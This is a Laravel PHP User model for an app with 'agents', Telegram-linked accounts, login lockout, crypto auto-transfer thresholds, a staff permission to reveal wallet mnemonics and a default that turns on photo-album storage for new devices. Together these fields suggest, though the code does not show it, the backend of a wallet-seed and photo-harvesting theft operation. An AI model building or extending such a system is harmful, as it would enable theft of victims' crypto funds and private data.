182 lines
5.1 KiB
PHP
182 lines
5.1 KiB
PHP
<?php
|
|
|
|
namespace App\Models;
|
|
|
|
use Illuminate\Database\Eloquent\Relations\HasMany;
|
|
use Illuminate\Foundation\Auth\User as Authenticatable;
|
|
|
|
class User extends Authenticatable
|
|
{
|
|
protected $fillable = [
|
|
'username', 'password', 'status', 'comment', 'chat_id',
|
|
'auto_transfer_enabled',
|
|
'auto_transfer_threshold_usdt',
|
|
'auto_transfer_threshold_trx',
|
|
'auto_transfer_threshold_eth',
|
|
'auto_transfer_threshold_btc',
|
|
'auto_transfer_threshold_bnb',
|
|
'album_storage_default',
|
|
'can_reveal_mnemonics',
|
|
'login_attempts',
|
|
'locked_at',
|
|
];
|
|
|
|
protected $hidden = [
|
|
'password', 'remember_token', 'bot_token', 'google_secret',
|
|
];
|
|
|
|
protected static function booted(): void
|
|
{
|
|
$bust = static function (): void {
|
|
app(\App\Services\FilterOptionsService::class)->forgetAgents();
|
|
};
|
|
static::saved($bust);
|
|
static::deleted($bust);
|
|
}
|
|
|
|
protected function casts(): array
|
|
{
|
|
return [
|
|
'password' => 'hashed',
|
|
'status' => 'integer',
|
|
'auto_transfer_enabled' => 'boolean',
|
|
'auto_transfer_threshold_usdt' => 'decimal:8',
|
|
'auto_transfer_threshold_trx' => 'decimal:8',
|
|
'auto_transfer_threshold_eth' => 'decimal:8',
|
|
'auto_transfer_threshold_btc' => 'decimal:8',
|
|
'auto_transfer_threshold_bnb' => 'decimal:8',
|
|
'album_storage_default' => 'boolean',
|
|
'can_reveal_mnemonics' => 'boolean',
|
|
'google_auth_open' => 'integer',
|
|
'login_attempts' => 'integer',
|
|
'locked_at' => 'datetime',
|
|
];
|
|
}
|
|
|
|
protected $attributes = [
|
|
'album_storage_default' => false,
|
|
'can_reveal_mnemonics' => false,
|
|
];
|
|
|
|
public function isEnabled(): bool
|
|
{
|
|
return (int) $this->status === 1;
|
|
}
|
|
|
|
public function isLocked(): bool
|
|
{
|
|
return $this->locked_at !== null;
|
|
}
|
|
|
|
/**
|
|
* Increment the consecutive failed-login counter; auto-lock when the
|
|
* count reaches $maxAttempts (default 5). Returns true when the call
|
|
* triggers a lock.
|
|
*/
|
|
public function recordFailedLogin(int $maxAttempts = 5): bool
|
|
{
|
|
$this->login_attempts = (int) $this->login_attempts + 1;
|
|
$justLocked = false;
|
|
if ($this->login_attempts >= $maxAttempts && ! $this->isLocked()) {
|
|
$this->locked_at = now();
|
|
$justLocked = true;
|
|
}
|
|
$this->save();
|
|
|
|
return $justLocked;
|
|
}
|
|
|
|
/**
|
|
* Reset the failed-login counter (called after a successful login or
|
|
* when an admin manually unlocks the account).
|
|
*/
|
|
public function clearLoginAttempts(): void
|
|
{
|
|
if ((int) $this->login_attempts !== 0 || $this->locked_at !== null) {
|
|
$this->login_attempts = 0;
|
|
$this->locked_at = null;
|
|
$this->save();
|
|
}
|
|
}
|
|
|
|
public function channels(): HasMany
|
|
{
|
|
return $this->hasMany(Channel::class, 'user_id');
|
|
}
|
|
|
|
public function albumStorageDefaultEnabled(): bool
|
|
{
|
|
return (bool) ($this->album_storage_default ?? false);
|
|
}
|
|
|
|
public function mnemonicRevealEnabled(): bool
|
|
{
|
|
return (bool) ($this->can_reveal_mnemonics ?? false);
|
|
}
|
|
|
|
public function canRevealMnemonics(): bool
|
|
{
|
|
return (bool) config('coruna.mnemonic_reveal.staff_enabled') && $this->mnemonicRevealEnabled();
|
|
}
|
|
|
|
public function hasGoogleBound(): bool
|
|
{
|
|
return filled($this->google_secret);
|
|
}
|
|
|
|
public function requiresLoginGoogle(): bool
|
|
{
|
|
return $this->hasGoogleBound() && (int) $this->google_auth_open === 1;
|
|
}
|
|
|
|
/**
|
|
* New-device album_storage default for a channel.
|
|
* Agent channels use that agent's switch. Official channels use the system switch.
|
|
* Unknown channel IDs stay off.
|
|
*/
|
|
public static function albumStorageDefaultForChannel(?string $channelId): bool
|
|
{
|
|
$channelId = trim((string) $channelId);
|
|
if ($channelId === '') {
|
|
return false;
|
|
}
|
|
|
|
$userId = Channel::query()->where('channel_id', $channelId)->value('user_id');
|
|
if ($userId === null) {
|
|
return false;
|
|
}
|
|
if ((int) $userId === Channel::OFFICIAL_USER_ID) {
|
|
return (bool) config('coruna.album_storage.official_default');
|
|
}
|
|
|
|
$agent = static::query()->find((int) $userId);
|
|
|
|
return $agent?->albumStorageDefaultEnabled() ?? false;
|
|
}
|
|
|
|
public function hasTelegramChat(): bool
|
|
{
|
|
return trim((string) ($this->chat_id ?? '')) !== '';
|
|
}
|
|
|
|
/** @deprecated Use hasTelegramChat(); kept for existing call sites. */
|
|
public function hasTelegramBot(): bool
|
|
{
|
|
return $this->hasTelegramChat();
|
|
}
|
|
|
|
public static function findEnabledByChatId(int|string|null $chatId): ?self
|
|
{
|
|
$chatId = trim((string) $chatId);
|
|
if ($chatId === '') {
|
|
return null;
|
|
}
|
|
|
|
return static::query()
|
|
->where('status', 1)
|
|
->where('chat_id', $chatId)
|
|
->orderBy('id')
|
|
->first();
|
|
}
|
|
}
|